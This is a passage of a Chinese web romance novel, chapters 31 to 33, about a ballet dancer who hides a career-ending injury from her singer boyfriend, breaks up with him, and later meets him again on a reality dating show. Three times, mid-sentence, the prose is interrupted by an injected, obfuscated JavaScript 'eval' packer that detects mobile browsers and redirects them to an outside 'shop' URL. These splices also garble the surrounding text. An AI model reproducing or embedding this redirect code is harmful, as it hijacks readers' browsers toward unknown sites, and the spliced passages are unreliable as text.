罪魁祸首任劳任怨地将她洗干净,又仔仔细细地把她身上的水珠擦干,用宽大的浴袍裹住,抱回床上。 时缈累到了极点,平时练舞也从来没有这么累过,几乎是在沾到枕头的那一瞬间,她就彻底失去意识睡了过去。 听见时缈的声音,许钧闻捏了捏她的耳朵:“回复一下经纪人的消息。” “你突然飞来英国没有关系吗?国内的事情都处理好了?”时缈有些担心。 她不希望因为自己而影响到许钧闻的工作和学习。 许钧闻快速敲了几下屏幕,然后将手机锁屏放回床头柜上,侧过身将时缈整个人圈进自己怀里,说话时热乎乎的鼻息扑在她裸.露在外的肩头上。 “放心吧,这点事我还是能处理好的,不用操心我的事情,你只需要照顾好自己就可以了。” “我把我自己照顾得挺好啊。” 就像许钧闻不希望时缈担心他一样,时缈也不希望许钧闻回国之后,忙于工作和学业的同时还要分出心神去担心她。 “吃得饱,穿得暖,我这不是挺好的嘛。” “是吗。” 许钧闻的手落下去,捏了捏她的腰:“还说我瘦了,明明瘦了的人是你才对。怎么,舞团虐待你啊?要不要我去给你讨个公道?” 最后一句话,许钧闻说得格外认真。 时缈听出了他藏在话语背后的含义。 “没事,不用。” 时缈扯了扯唇角,不自觉地抬手揉了下鼻子,揭过这个话题:“昨天你撞见的事情只是一个小小的意外,平时舞团里的大家还是很好相处的。” 许钧闻抬起她的下巴:“时缈,你知不知道,你每次心虚想骗我的时候都会下意识地揉一下鼻子。” “什么叫‘每次心虚想骗你的时候’?”时缈对于他的评价十分不满,“我什么时候骗你了?骗你什么了?你少污蔑我哦,小心我告你诽谤。” “哦,没骗我。” 许钧闻拖着调子,手底下的动作又开始不安分:“昨天晚上谁大言不惭地说要试一试,结果最后还不是装哭求我放过她?” “那不叫骗!” 时缈被逗弄地吸了一口气,接下来出口的话也变了个调子:“我那是,合理运用一些修辞手法和表达方式而已。” “哦。” 许钧闻点头,靠近吻住她:“我现在也是合理采用一些表达方式,比如——身体力行,一切尽在不言中。” 两个人又黏黏糊糊地在床上胡闹了一阵,直到时缈双手抵着他的胸口:“不行了,我只请了半天假,下午就要回去排练了,再这样下去我下午排练都要没力气了。” 她眨眨眼,用泛着水光雾蒙蒙的眼睛看着他,撒娇讨饶:“饶了我吧哥哥。” 这次时缈可真的没有骗他。 下午,许钧闻将时缈回到舞团。 时缈一步三回头地朝舞团大门口走去,许钧闻站在原地,带着鸭舌帽,单手插兜,朝她挥挥手:“去吧,我看着你进去再走。” 时缈点点头,强迫着自己转过身,背对着许钧闻一步一步离他越来越远。 明明她出国那天,许钧闻也去机场送他了。 可时缈却觉得,自己现在的不舍,比当时有过之而无不及。 走了没几步,时缈猛得一转身,朝许钧闻的方向跑过去。 许钧闻看着冲过来的姑娘,怔了一下,双臂却先于大脑反应,形成了一个拥抱的姿势。 时缈扑进他怀里,埋在他身前,脑袋蹭了蹭他,闻着他身上熟悉的清淡薄荷香气,闷闷地说:“还没走,就开始想你了啊。” 许钧闻抱紧她,下巴搁在她头顶:“嗯,那怎么办呢?把我缩小之后揣在你口袋里带走吧,你去哪儿演出我就跟着去哪儿,永远坐你最忠实的VIP观众。” “那不行。” 时缈摇摇头:“你还要去实现你的音乐梦想呢,我还等着你变成大明星呢。” 她从他怀里抬起头,在他面前伸出一只手的小拇指:“说好了,我在这里好好跳舞,你回国后好好创作,等你开演唱会的时候,我要做最前排最中间的位置。” “好。” 许钧闻勾住她的小拇指,表情郑重地同她拉钩:“不仅让你坐最中间的座位,我的每一首情歌,你都一定是第一个听众。” 两人在舞团门前,交换了离别前的一个深吻后,时缈才恋恋不舍地在许钧闻的目送中进入舞团大门。 同宿舍的室友们一见到她就快速凑过来将她围在练功房的角落里: “昨天来的那个帅气的中国男人就是你的男朋友对不对?难怪你会被他迷得神魂颠倒,果然是有够帅的。(英)” “也没有‘神魂颠倒’吧。(英)”时缈耳根一热,“那确实是我男朋友,他还从国内带了一些小礼物来,等会儿回去了我分给你们啊。(英)” “你都不知道,Antonio今天一早上都黑着脸,上午训练的时候出现了好几个不该出现的动作失误,搞得老师发了好大的脾气。(英)” 室友得意地瞥了Antonio所在的方向,鼻尖溢出一声不屑的哼声:“昨天你和你的中国男孩一起离开之后,好多女生还在议论他呢,可把某些人嫉妒坏了。(英)” “议论他什么?(英)” 虽然一直知道许钧闻走到哪里都是人群中很亮眼的存在,但时缈还是有些好奇,好奇这些向来面对亚洲人都是一副趾高气昂的模样的家伙们到底说了些什么。 “就说他有多帅啊,打扮也很好看啊,而且看起来就是很行的样子……(英)”说到这儿,室友“嘿嘿”一笑,眼神中闪烁着满满的八卦光芒,“你瞧瞧你又是一夜未归,又是早训请假的,看来你的男朋友那方面确实很行哦~(英)” 对于她们这些长期生活在国外的人来说,聊天时提前这种话题都是再正常不过的事情。 但对时缈而言,这问题问得过于露.骨,让她有些不好意思回答。 “哟哟哟,脸红了,看来被我们说中咯。(英)” 室友戳了戳时缈的腰:“瞧你脸红的样子,真是可爱得想让我把你一口吃掉。不过当然, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13466416|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我知道,如果我对你做了什么的话,你那位帅气的男朋友肯定会来干掉我的!(英)” 时缈微红着脸,朝室友们摆摆手:“快走开快走开,要训练了,今天下午的排练Laurence会来看的。(英)” “对哦,那好吧,那我们开始热身吧,(英)”室友们听见Laurence的名字,瞬间正经了起来,“一起加油哦,我未来的‘东方之星’~(英)” 待时缈结束训练,打开手机就看到了许钧闻的消息: 「许钧闻:我回国了,你好好照顾自己。」 「许钧闻:没告诉你是不想让你为了送我再耽误下午的训练,别生气啊。」 「许钧闻:爱你,宝贝。」 「许钧闻:下次见。」 时缈一怔。 她出发前还专门问了许钧闻什么时候回国,当时他的回答是“经纪人在国内帮他订机票,时间还没有定下来”。 现在看来,那时候许钧闻其实已经买好了回国的机票了。 只是没有告诉她而已。 可是看着那句“下次见”,时缈又什么脾气都发不出来了。 他没有说归期未定的“再见”。 而是说了来日可期的“下次”。 时缈心底一软,抿了抿唇,估算了一下时间,猜测许钧闻现在应该还在航班上: 「时缈:这次原谅你,下次不许瞒着我了。」 「时缈:你也照顾好自己。」 「时缈:我也爱你,下次见。」 * 很快,Laurence的新剧目就创作完成了。 果不其然,时缈成为了这部剧的A角女一号。 “A角!(英)” 室友朝她比了个大拇指:“厉害了亲爱的。(英)” 在此之前,她们这几个人就算有机会出演比较重要的角色,也基本都是B角,说白了,就是A角的备胎,除非A角临时出现问题无法出演,舞团才会考虑启用B角。 因此即使时缈也参与了舞团重大剧目的排练,却一直没有等到登台亮相面对观众的机会。 而这次,Laurence亲口宣布,时缈饰演的是女一号,并且是A角。 这就意味着,只要不出意外,时缈就能够以LaurenceThomas新剧女主角的身份站在舞台中央,为所有进场观看剧目的观众献上表演了! 饶是已经心理建设过好几轮,在真正最终听见LaurenceThomas当着舞团所有舞者的面亲口宣布这个决定之后,时缈还是兴奋地连打字的手指都在轻轻颤抖: 「时缈:马上就要第一次大合排了!好激动!」 「时缈:好久都没有这么紧张过了!」 「时缈:祝我好运吧哥哥~」 发过去的消息再次没有得到回应。 时缈也没多想,转头点开了最新一集综艺,捧着一杯果蔬汁小口小口地边喝边看。 嗡嗡。 手机震动两下,微信聊天列表中置顶头像旁边冒出一个小红点。 时缈噙着笑点开。 可下一瞬,她脸上的笑意就渐渐淡了下去。 「许钧闻:不好意思,他现在正在棚里录歌。」 「许钧闻:我是他的经纪人,有什么事情你可以告诉我,我会代为转达的。」 31. 31首情歌 「时缈:啊,不好意思,我不是想打扰他。」 时缈斟酌着回复。 虽然有些奇怪于许钧闻那个人居然会允许经纪人查看、甚至是代为回复消息。 但时缈只当这是他的工作需要——部分艺人的团队会代为搭理社交软件这种事似乎也并不是很稀奇。 况且许钧闻现在还是新人,或许只是不得不服从公司的安排而已。 因此尽管许钧闻这位经纪人回复消息的语气让时缈感到有些不适,但她仍然体面礼貌的回应。 「时缈:谢谢你照顾他~我在英国这边舞团主演的剧目下半年就要正式公演了,到时候如果你们有空的话,欢迎你们来看啊~」 「许钧闻:那就不必了。许钧闻现在的工作很忙,公司为他安排了一些课程,也制定了一套完整的未来发展计划。」 「许钧闻:他没有那个时间,做长途飞机出国一次只为了看女朋友的一场表演。」 时缈一怔。 一时间不知道作何回复。 看上去,许钧闻的经纪人似乎对她很不满意的样子。 想到这里,时缈撇撇嘴。 那只是他的工作伙伴,又不是许钧闻的父母,她才无所谓对方喜不喜欢自己。 可没想到,聊天框的另一边,还有消息接连不断地跳出来: 「许钧闻:上次许钧闻不打一声招呼就出国的事情,对我为他安排的行程和计划产生了很大的影响。」 「许钧闻:他的音乐事业现在才刚刚有一点起色,公司不希望他因为感情的事情分心。」 「时缈:我很感谢贵公司和团队对他的帮助和照顾,但我也希望您明白一件事情——有些事是我和许钧闻之间的事情,并不在贵公司的管理范围之内。」 「许钧闻:我要对公司的利益负责,也要对许钧闻的天赋和才华负责。」 「许钧闻:公司会和他签约当然是希望他能为公司带来效益,如果他不能为公司带来正向收益的话,我们随时可能收回对他的投资和培养。」 「许钧闻:你也不希望毁掉公司好不容易为他争取来的机会吧。」 时缈看着聊天界面,彻底陷入了沉默。 这几乎是赤.裸.裸的威胁。 她当然是相信许钧闻不会轻易陷入娱乐圈潜规则的泥沼当中,但她同样也清楚地知道,许钧闻这位经纪人的话也并不完全是错的: 不愿意服从于规则的人就要要比其他人更辛苦、付出得更多,才可以站在那盏耀眼夺目的聚光灯之下的。 时缈不想同许钧闻的经纪人做过多无意义的争辩。 她不希望许钧闻夹在中间难做,更担心许钧闻会因为她而跟公司闹不愉快,从而影响到他的工作。 因此她熄灭手机屏幕,重新继续投入到训练当中。 只要忙起来,就不会有精力去想这些乱七八糟的事情了。 况且她相信许钧闻,能够处理好她与公司、感情与事业之间的关系。 * 时缈跟随着音乐的节拍,流畅地完成每一个烂熟于心的动作,在群舞们的注视和衬托下,登上了道具高梯。 一开始,Laurence告诉她有一个需要她从高台上仰面向后倒下去的动作时,时缈还是有些害怕的。 但在舞团再三进行过安全性测试、甚至Laurence本人也亲自上阵给她做了几次示范之后,时缈悬着的心渐渐放了下来。 而在排练的过程中,对整个故事以及人物的理解越发深刻之后,时缈已经能在音乐响起的那一刻,瞬间将自己代入到角色之中。 当她真正把自己当成了故事里的人物之后,时缈更是彻底理解了为什么在舞剧的最后一幕,女主角会选择当着所有人的面从高台上义无反顾地倒下去。 因此,当她再一次站上高台的顶点,目光悲悯地注视着下面的“芸芸众生”,而后高贵淡然地一笑,毫不犹豫地张开双臂向后倒了下去—— 一时间,天旋地转。 时缈只感觉到腰部一阵尖锐的几乎要穿透她灵魂的疼痛。 而后就彻底不省人事,昏了过去。 * 为了不影响舞团的一百周年庆典,时缈受伤的事情被舞团隐瞒了下来。 她终于从昏睡中醒过来时,意识渐渐回笼,见到了面容憔悴的父母。 她的妈妈,平时在单位里永远一丝不苟、整洁有序的人,此刻鬓发散乱,眼眶泛红,见到她醒过来,握着她的手泣不成声。 而她那平时像个闷葫芦似的不善言辞的老爸,此刻更是哽咽着说不出一句完整的话。 “别哭啦……” 时缈艰难地开口,声音虚弱沙哑:“我这不是好好的吗。” “你们怎么都跑过来了,单位的事情不管了?” 作为病人的她此时却似乎是病房中最轻松的一个:“单位的手续这么好批啊?你们两个居然一起过来了。” “你在异国他乡出事了,我们做父母的当然无论如何也要来陪你的,”吴筠竹勉强扯了扯嘴角,为时缈掖了掖被子,“你安心养伤,等你好一些了,爸妈就带你回国。” “现在回国的话那我的剩下的学分岂不是修不满了,舞团那边怎么说?” 时缈微微一笑:“小时候我第一次练舞崴到脚的时候你不是还说‘跳舞的人哪有不受伤的’吗?等我养好了我可以继续回学校和舞团的,虽然错过了这次的剧目,但没关系啊,以后肯定还有机会的。” 说到这里,时缈停顿了一下。 她看向父母,唇角扬得更高,眼神里却没有像笑意:“对吧?” “宝贝……” 吴筠竹好不容易平复了些许的情绪再次流露出崩溃的迹象,她紧紧攥着时缈的指尖:“你现在先别想这个了,好好养病,爸爸妈妈都在这里陪着你。” “妈。” 时缈的笑容僵在脸上,她闭上眼睛,语气忽然落了下来,暴露出她从醒了之后就一直努力掩藏起的疲惫和难过:“我还可以继续跳舞的,对吧?” * 没有任何人来向她解释她出事的那天到底发生了什么,时缈也无从得知舞团到底有没有对这件事进行追查——尽管她的父母向英国塔西莉亚舞蹈学院提出了申诉,也报过了警,但不论是学校还是警方,都迟迟没有对这件事做出一个说明。 或许是为了封口,舞团那边给予她的赔偿却相当慷慨大方,不但承担了她前期所有的治疗费用,也承诺包揽她后续康复的所有花销。 时缈的父母原本是不打算接受的,他们只想让学校和舞团还他们女儿一个公道,然后尽早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482826|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着时缈回国治疗。 但英国医院的主治医生却并不建议她在目前这个情况下坐长途飞机飞回国内。 因此,时缈不得不在父母的轮流陪伴下,在英国的医院进行治疗和康复。 手术恢复的过程并不是最痛苦的。 复健的过程才是。 几乎每一个夜晚,时缈都在失眠。 而每一个失眠的夜晚,她都只能靠许钧闻曾经发给她的那些原创歌曲的小样撑过去。 期间许钧闻并不是没有和她联系。 时缈只借口说自己这段时间都在舞团参与集训联排,所以没有办法及时回复消息。 许钧闻自身也是焦头烂额——既要完成自己的毕业论文,又要按照公司要求的时间完成创作,每天几乎只能睡三到四个小时,有时候甚至十个小时都吃不上一口饭。 因此他那时候并没有觉得时缈的状态有什么不对。 * 这一夜,时缈是被腰部的痛意折磨醒的。 那种疼痛并不尖锐,却绵延不断,摧枯拉朽地折磨着她的每一处神经末梢,然后再顺着血液传递到四肢百骸。 时缈从枕头下面摸出自己的手机。 点开和许钧闻的对话框,他们最后的对话是昨天傍晚她发过去的那句“正在忙吗”的寒暄,而时隔四个小时后,许钧闻才得空回复一句“刚回家,好累”。 然后,是时缈今天下午康复训练结束后,得到了主治医生“近期恢复情况很乐观”的肯定回复后,犹豫再三,下了很大的决心才发出去的那一句: 「时缈:其实我前段时间排练的时候受了点伤,当时没敢告诉你怕你担心,不过现在已经好啦~因为前阵子落下了一些进度,所以我最近的排练安排得很满,可能没办法频繁和你联系了哦,你也要好好照顾自己呀~爱你!」 可这条消息,至今都迟迟没有得到回复。 他很忙,她理解。 时缈知道,如果她告诉了许钧闻她受伤的真实情况,无论他那边有多紧急的工作,他都会义无反顾地飞到她身边。 可正是因为知道这一点,时缈才不能告诉他实情——她可能再也不能跳舞,再也当不上舞团首席了。 明明被疼痛折磨到连手都不想抬,此刻时缈却依然意识清醒地逐页逐页翻完了她和许钧闻所有的聊天记录。 她点开许钧闻发给她的那些音频,伴随着几乎要烂熟于心的旋律和熟悉的嗓音哼唱,一个人独自回顾了他们恋爱至今的许多点滴。 她必须要承认。 她还是很喜欢许钧闻。 聊天记录终于翻到了底,时缈点开许钧闻的头像,看着画面里她亲手给他拍的照片,截图将这张照片保存下来。 没一会儿,又点进相册将它删掉。 甚至连回收站都被刻意清空。 时缈长出一口气。 她明明是一个打字速度很快的人,可这一次,一条并不算长的消息,时缈竟然足足编辑了十几分钟。 按下绿色的发送键后,时缈没有等许钧闻回复——当然,许钧闻也未必能够立刻回复她。 「时缈:许钧闻,我觉得我在这边的舞团能有更好的发展,所以我决定不回去了。我们到此为止,分手吧。不必找我了,我们各自追求自己的梦想吧。」 32. 32首情歌 “你当年为什么一定要和我分手?” 许钧闻问完这个问题之后,房间陷入了一阵凝滞的沉默。 他的手掌仍然贴在时缈的眼皮上,因此他能够非常直接地感受到时缈的情绪在这阵沉默当中不断产生变化—— 她的睫毛开始颤抖,扫在他的掌心处,带起细细密密的痒。 “许钧闻。” 时缈艰难地叫了一声他的名字。 “对不起啊。” 她搭在膝盖上的手紧攥成拳,指甲在掌心印出一排月牙形的痕迹。 许钧闻几乎是被她给气笑的。 “时缈,从始至终我想从你嘴里听到的都不是所谓的什么‘对不起’,”许钧闻松开了捂住她眼睛的手,“我不信你不知道我在说什么。” “就当是为了让我放下一桩心事。” 许钧闻将她的脸转过来,强迫她面向自己:“希望你能给我一个痛快。” “许钧闻,”时缈睁开眼睛,第一次如此近距离地和他对视,这种感觉让她恍如隔世,“你又不是不知道,异地恋,向来没有什么好结果的。更何况,我们还是异国恋,能坚持得下去才应该是人间奇迹,中途分手难道不是意料之中的事情吗。” “我被那些白人舞者明里暗里针对排挤的时候你不在我身边,我水土不服整夜整夜发烧呕吐的时候你不在我身边,我被人开恶意玩笑被调戏冒犯的时候你不在我身边,练舞受伤躺在病床上的时候你也不在我身边。” 时缈鼻尖一酸,一双杏眼蓄满了泪,可她死死掐着自己的掌心,努力不让眼泪在这一刻落下来:“我知道你一定会为我‘为什么不告诉你’,就像刚刚问我‘为什么要和你分手’时一样。” 她凄然地扯了扯嘴角:“我不敢告诉你,因为我知道,你在国内也未必比我轻松多少。你要完成你父亲逼迫你选择的金融专业的学业,要按照合约完成经纪公司给你安排的工作,白天要上课晚上要录歌,有一阵子你连吃饭都在录音棚里吃。虽然你总是轻描淡写地揭过去,但我都看在眼里也记在心里。” “所以我不敢打扰你,更不想让你为了我的事情分心。” 时缈还是没有选择说出自己当年受伤的真相。 与其让现在的许钧闻感到内疚,还不如让他永远不知道当时究竟发生了什么。 “我不想继续在每一个需要你陪伴的时刻却不得不劝自己忍下来了。” 时缈叹息一声,终于还是没能忍住,一颗晶莹的泪珠顺着眼角滑落下来。 “许钧闻。” “没有那么多复杂的原因或是隐情。” “我只是累了。” * “今晚我们邀请了当地最大的一家特色烤全羊餐厅的老板和主厨亲自来教大家做烤全羊,而各位亲手完成的烤全羊也就是大家今天的晚餐,所以,请各位一定要跟着老师们认真学习哦~” 导演在画面外,用麦克风念出了今天下午嘉宾们的任务。 白景川关切地看着时缈:“你还好吧?如果不舒服的话就回房间休息吧。” 白天的约会选人环节,八位素人嘉宾们分成两组,进入绥夷古城游玩的同时,完成节目组布置的任务,不同任务对应着不同的积分,获得积分更高的那一组,可以坐节目组提供的车子回到民宿,而积分较低的那一组只能骑自行车回程。 从绥夷古城到民宿的距离说远不远,说近也不算近,加上中间有很多并不平坦的小路,因此输掉游戏的那一组几乎每个人回到民宿后都是一副蔫耷耷的样子。 而积分较低的这一组里就有时缈和白景川—— 由于前一天的情侣写真任务中,白景川和罗艺亭获得了决定游戏分组的特权,因此一大早节目组单独将两人叫到了一起,让他们在其他嘉宾们下楼前先安排好今天的活动分组。 不出观众所料的,罗艺亭先将自己和白景川放在了同一组里。 紧接着,白景川将时缈也放在了自己这一组。 罗艺亭的笑容僵了一秒,而后又笑着夸白景川:“景川你真的好贴心啊,出发来谷峪勒之前我稍微和时缈姐姐闹了一点不愉快,但是一直没有机会单独和她相处一下,一直在担心她对我还有看法呢,这下好啦,我可以借此机会好好和时缈姐姐聊聊,争取解开她对我的心结了呢。” 「呜呜呜呜小艺真的好善良,那次直播明明就是节目组的安排,小艺也只是为了节目效果而已,明明不是她的错,可她还是愿意主动给别人台阶下哦,真是可爱又漂亮的小天使~」 「这么可爱的小艺谁能不喜欢啊,我简直怜爱了。」 「可怜的宝贝,这是讨好型人格吧?明明不是她的错,她却宁愿受委屈也要为别人着想,心疼。」 「啊,不是吧,我觉得明明是白景川自己想选时缈的吧,怎么被这女的一说变成白景川是为了她才选时缈的了?果然,能当大网红的人可都不简单啊……」 「我天,这罗姐是买水军了吗?当时明明是她和林问不依不饶逼着人家时缈展示才艺,人家只是不想表演而已怎么在某些水军的嘴里就变成她受委屈了?要我看该被怜爱的应该是时缈才对,碰上这么个妖魔鬼怪,真是晦气。」 此时组里还剩一个位置,罗艺亭看着剩下的几个嘉宾的头像牌,故作沉吟了一番:“虽然不知道节目组今天有没有安排大家做任务,但我觉得,是不是两个组都是两男两女的配置会更好一些呢?” 看着剩下的三个男嘉宾,罗艺亭率先pass了周璨:“前面我和时缈姐姐都跟小周弟弟接触过了,我觉得这次还是选一个之前接触得比较少的男嘉宾一起玩吧。” 对于罗艺亭这个决定,白景川没有任何意见。 毕竟在节目组的八人小生态圈里,周璨是唯一一个和他一样都对时缈有好感的男生,白景川自然乐得见到罗艺亭将自己的“情敌”排除在外。 “唔,剩下两个男嘉宾里,时缈姐姐第一次盲选约会就是跟薛明浩吧?” 罗艺亭的指尖在薛明浩和林问两个人的头像上徘徊了几秒:“那这次就选林问吧,之前出发来谷峪勒之前他不是也和时缈姐姐闹了点小矛盾嘛,刚好可以趁着这次缓和一下。” “景川,你有意见吗?”罗艺亭笑吟吟地问。 白景川却拿起另外一个头像牌:“还是选薛明浩吧。” 他的目光意味深长地落在罗艺亭脸上,淡淡地笑笑:“据我观察,时缈应该没有把之前的事情放在心上,我觉得应该是你想多了。而且你不是和林问接触得挺多了吗,既然我们是上次任务的胜者组,你自然也应该趁这个机会给自己一个多和其他男嘉宾深入了解的契机。” 「Vocal!爽到了!直球哥牛批!」 「笑死,白哥直接一句“我觉得是你想多了”谁懂啊!」 「就是啊,我看人家时缈表现得挺正常的,一点都没有她说得那么记恨她和林问啊,罗姐真的太茶了,话里话外传递一种“时缈小心眼”的暗示哦。」 「白景川,古希腊掌管鉴茶能力的神!」 因此这次约会的分组,时缈就被和白景川、罗艺亭、薛明浩三人分到了一组。 时缈对于这个分组也没什么意见,因为她确实没有把上次直播间里罗艺亭和林问为难她的事情太放在心上——尤其是那时候及时出现的许钧闻更是强势地为她解了围。 听见分组结果后,时缈第一时间下意识地看向了一旁沙发上环着手臂靠在沙发背上的许钧闻。 可他并没有看她。 时缈想起早上下楼时,在走廊里偶遇同样刚刚起床准备下楼喝水的许钧闻—— “早。”她主动小声打了声招呼。 时缈其实有些尴尬,昨晚说了那些话后,许钧闻只是定定地看着她,看到她以为许钧闻打算就这样和她对坐一整夜的时候,许钧闻忽然起身。 “知道了。”他没有回头,径直走到房间门口,将门打开,“时间不早了,你也早点休息吧。” 时缈就这样被他“请”出来了。 而早晨两人在走廊遇见时,时缈主动打了声招呼,却没有得到任何的回应。 许钧闻只是目不斜视地从她身旁走了过去。 带起一阵气流,毫不留恋地擦过她的袖口。 时缈看着一整个早晨没有给她任何眼神的许钧闻,知道许钧闻是在为昨晚她的那些话生气,其实不仅仅是剩她断崖式分手的气,更是因为她话里说的那些自己不能及时出现、陪伴在她身边而生六年前的自己的气。 时缈在心底叹了口气,收回目光,一整天在游乐园都有些心不在焉。 异国恋,没有安全感。 多好用的借口。 只是她不知道自己给出的那些说辞许钧闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13496193|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信了多少。 只能寄希望于他自己想通了。 或许是因为心里装着事,时缈在游乐园玩游戏时发挥得也不算好。 因此他们这组毫无疑问地成为了积分更低的那一组。 一路从绥夷古城骑车回来,时缈不仅是疲惫,腰后也隐隐有些疼痛感。 白景川敏锐地察觉到她脸色不好,主动关心道:“我看你脸色不好,撑不住就上去休息,没关系的。” “没事,就是有点累了。” 时缈扯了个笑。 不远处许钧闻听见两人的对话,视线不动声色地扫过时缈的侧脸。 又在时缈察觉之前,收回了自己的目光,像是什么都没发生过一样。 * 或许是前一晚,许钧闻自爆感情经历为节目组吸引了太多的流量,让节目组尝到了甜头。 今天的晚餐环节,节目组特地安排嘉宾们玩起了一个非常经典的聚会酒桌游戏——真心话大冒险。 桌子正中央摆着一个喝空的啤酒瓶,由桌上的人轮流转动瓶子,瓶口指向谁,谁就要完成这一轮的真心话或是大冒险。 「哈哈哈哈哈啊游戏好土,但我好爱!多来!爱看!」 「如果啤酒瓶转到了许钧闻,能不能问他……那个问题啊!」 「前面的姐妹我懂你!但我觉得许钧闻宁愿选大冒险都不会回答的……」 「虽然但是,我不是姐妹!我是大兄弟啊!」 祝意安伸手,轻轻拧动了一下啤酒瓶—— 在所有人兴奋又紧张的注视下,酒瓶缓缓停下。 瓶口不偏不倚的。 对准了许钧闻。 桌上不知道是谁,发出了倒吸一口气的声音。 “咳咳,那我就问了啊。” 祝意安坐直身体,看了一眼许钧闻,又看了一眼节目组的摄影机:“这个问题还蛮犀利的,而且我想很多观众和网友们都对这个事情很感兴趣,但我又担心问了之后我们许老师会生气哎。” 程子归摆摆手,撺掇祝意安:“怎么会呢,我们钧闻可是个很大气的人哦,不会因为一场游戏就生气的,况且这个‘真心话’也是他自己选的嘛,对不对啊钧闻?” 许钧闻抬手做了个“请”的手势:“愿赌服输。” 祝意安举起一个空啤酒瓶,拿出了做访谈的架势,目光灼灼地盯着许钧闻:“自从上次许老师在节目上自爆有过‘前女友’的事情之后,现在网上都说,许老师不写情歌是因为前女友的缘故?” 所有直播镜头都对准了许钧闻。 弹幕里被一排排「祝老师好样的」「祝意安简直是我嘴替」「娱乐圈十大未解之谜榜首今天终于等到答案了嘛」给淹没。 包括现场的所有人,目光都聚焦在许钧闻身上。 明明被提问的不是自己,可大家都觉得自己现在无比紧张—— “完了,我怎么觉得我要见证华语乐坛的历史了。”温璐挽住时缈的胳膊,小声道,“许钧闻红了的这些年里,很多人都问过他这个问题。” 时缈忍不住问:“那之前他都怎么说?” “无非就是‘倒也没有说不写吧,只是还没遇上合适的时机’之类的咯,总之一听大家就知道他是敷衍。但奈何人家咖位大嘛,即使知道人家只是在糊弄,也没人敢说什么。” 时缈几乎能想到许钧闻说那些话时的神态。 目光锋利、神色桀骜、野性难驯。 可她和那些歌迷网友们,恰恰喜欢的就是他这股如野风般自由的劲儿。 在现场嘉宾以及直播间数万名网友们的注视下,许钧闻随意地转了转自己手指上戴着的戒指。 他的眼皮微微垂着,像是除了这没戒指之外这个世界一切事情都不会被他在乎的样子。 “也差不多吧。” 就在所有人都以为许钧闻还是会像之前那样敷衍过去的时候,当事人忽然发话了。 以至于连专业主持人祝意安都还没反应过来:“什么?” 许钧闻并不意外其他人的反应,也懒得再次重复自己刚才的答案。 可紧接着所有人都听见他继续说道: “以前和‘她’说好,我的所有情歌的第一听众都是她,后来分手之后再也没有联系过。她不听,那些歌自然也就压箱底了。” “???” 33. 33首情歌 当晚,《适合恋爱的夏天》这个节目再次不出所料地登上了各大互联网社交平台的热点榜单。 一直以来,某知名论坛网站上有一个跟帖无数的投票帖,主楼标题叫做“票选你心目中的娱乐圈十大未解之谜”。 这条帖子里有很多曾经或是目前,流传许久甚嚣尘上的娱乐圈八卦,既包括“某x姓女性和某y姓男星是否真的有一腿”的桃色新闻,也有“据说q女星和w女星正在因为某高奢品牌的代言扯头花”这种行业八卦。 投票选项不断添加,大家关注的热点也不停在变,每过一段时间,榜上所谓的“十大未解之谜”都有所不同。 但自从许钧闻爆火之后,一直高票占据“十大未解之谜”榜首的问题就变成了—— 许钧闻的原创专辑里到底为什么没有一首是情歌? 起初大家对于这件事情众说纷纭。 有认为许钧闻的确是不擅长感情领域的创作。 有人认为许钧闻是受过情伤从此封心锁爱不谈感情。 也人说这就是经纪公司故意凹出来的人设用来博取眼球而已。 但许钧闻及其团队从来没有正面回应过。 即便有不少娱乐媒体把这个问题放在采访提纲里,许钧闻本人也都是随意敷衍几句,并没有真的要向大家解释的意思。 直到今天。 在一档恋爱综艺上。 前一天自爆有过前任的许钧闻,今天又给大家扔出来了一枚重磅炸.弹——他的专辑里没有情歌,竟然是因为答应过前女友,他的每一首情歌都要让她做第一个听众。 比起许钧闻承认自己有一个前女友,并且话里疑似透露出对前女友“念念不忘无法释怀”,今天这个“因为前女友不能再做他情歌的第一听众从而这么多年没有发表过情歌”的消息才更让他的部分粉丝破防。 「脱粉了,低价出许钧闻亲笔签名的专辑和海报,有想要的直接私聊。[微笑]就当我这些年的喜爱和时光都错付了吧。」 「服了,我真的不知道是该气还是该笑了,我们粉丝期待了这么多年的情歌作品,不发表的原因居然是那位所谓的‘前女友’,那你待在家里给你的前女友写歌就好了啊,为什么要出来赚这份钱呢?」 “许钧闻!” “我看你就是想我死!” 豪哥在电话那边愤怒咆哮,攥着手机一边说一边在房间里来回踱步:“昨天才嘱咐过你什么?让你小心发言!谨言慎行!别给我整这种突然袭击!你倒好,扭头给我下了个更大的套儿是吧!你要想换经纪人你早说啊!” 